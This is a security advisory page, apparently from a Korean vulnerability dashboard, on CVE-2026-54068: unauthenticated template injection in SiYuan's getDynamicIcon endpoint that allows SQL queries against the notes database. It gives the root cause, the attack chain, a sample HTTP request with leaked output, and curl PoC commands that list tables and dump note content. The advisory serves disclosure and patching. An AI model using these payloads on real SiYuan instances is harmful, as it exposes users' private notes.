Kestrel
대시보드로 돌아가기
CVE-2026-54068MEDIUM· 5.9MITRENVDGHSA대응게시일: 2026. 06. 24.수정일: 2026. 07. 10.

SiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon

Auth

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.9medium

이론적 심각도 점수

EPSS
0.2%상위 84.8%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도높음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.15.9MODERATE
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

The /api/icon/getDynamicIcon endpoint is explicitly excluded from authentication in SiYuan's kernel router (router.go, "不需要鉴权" -- no auth needed). When called with type=8 and a valid block id parameter, this endpoint invokes RenderDynamicIconContentTemplate, which executes a Go template that includes the querySQL and queryBlocks functions. These functions run arbitrary SELECT statements against the SiYuan SQLite database. An unauthenticated network-adjacent attacker who knows a valid block ID can exfiltrate all user note content, tags, asset references, and block attributes from the database.

Details

Root cause -- kernel/api/router.go, line 37:

text
1// 不需要鉴权
2ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)

Attack chain:

  1. getDynamicIcon (kernel/api/icon.go) checks type=8 and calls model.RenderDynamicIconContentTemplate(content, id) when content contains .action{.

  2. RenderDynamicIconContentTemplate (kernel/model/template.go:264) parses content as a Go template. The template function map includes querySQL and queryBlocks registered via sql.SQLTemplateFuncs.

  3. querySQL calls Query(stmt, 1024) (kernel/sql/block_query.go) which executes the SQL statement against the SQLite database containing all user notes.

  4. The SQL result is rendered into the SVG response body and returned to the unauthenticated caller.

Constraint: The block id parameter must be a valid block ID that exists in the database. Block IDs are 22-character strings in the format YYYYMMDDHHMMSS-XXXXXXX (timestamp + 7 alphanumeric chars). Valid IDs are embedded in shared document URLs and can be leaked through any other authenticated endpoint, referrer headers, or browser history.

Tested on SiYuan v3.6.5 (Docker, network-serving mode, access auth code enabled):

sql
1GET /api/icon/getDynamicIcon?type=8&content=.action{querySQL+"SELECT+id,content+FROM+blocks+LIMIT+5"}&id=<KNOWN_BLOCK_ID>
2Host: siyuan.example.com
3(No Authorization header)

Response (SVG with exfiltrated data embedded):

text
1<text ...>[map[id:20260524010447-jc9ypd4 content:test]
2 map[id:20260524011002-ttaa7lu content:My password is SuperSecret123!]]</text>

The querySQL template function can query any table: blocks (all note content and metadata), spans (tags), assets (asset references), attributes (block attributes), and refs (backlinks).

PoC

bash
1TARGET="http://siyuan.example.com:6806"
2BLOCK_ID="KNOWN_BLOCK_ID_HERE" # From a shared link or other source
3
4# List all database tables
5curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+name+FROM+sqlite_master+WHERE+type%3D%27table%27%22%7D&id=${BLOCK_ID}"
6
7# Dump all note content
8curl -s "${TARGET}/api/icon/getDynamicIcon?type=8&content=.action%7BquerySQL+%22SELECT+id%2Ctype%2Ccontent+FROM+blocks+LIMIT+100%22%7D&id=${BLOCK_ID}"

PoC script: /home/mrrobot/GoogleDrive/vuln-research/siyuan/scripts/poc_getDynamicIcon_sqli.sh

Impact

Any network-reachable SiYuan instance (Docker deployments default to 0.0.0.0:6806) is vulnerable to complete note content exfiltration without authentication, provided the attacker can obtain one valid block ID. Block IDs are leaked in shared document URLs, embedded images referencing block IDs, and browser history. In a networked deployment scenario (e.g., a self-hosted SiYuan accessible from the internet), all personal notes, tags, and metadata are exposed to unauthenticated attackers.

This vulnerability is distinct from previously reported SQL injection issues (GHSA-j7wh-x834-p3r7) which targeted the search API. The getDynamicIcon endpoint was never intended to execute SQL queries but gained this capability through the querySQL template function registered for the icon content template renderer.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.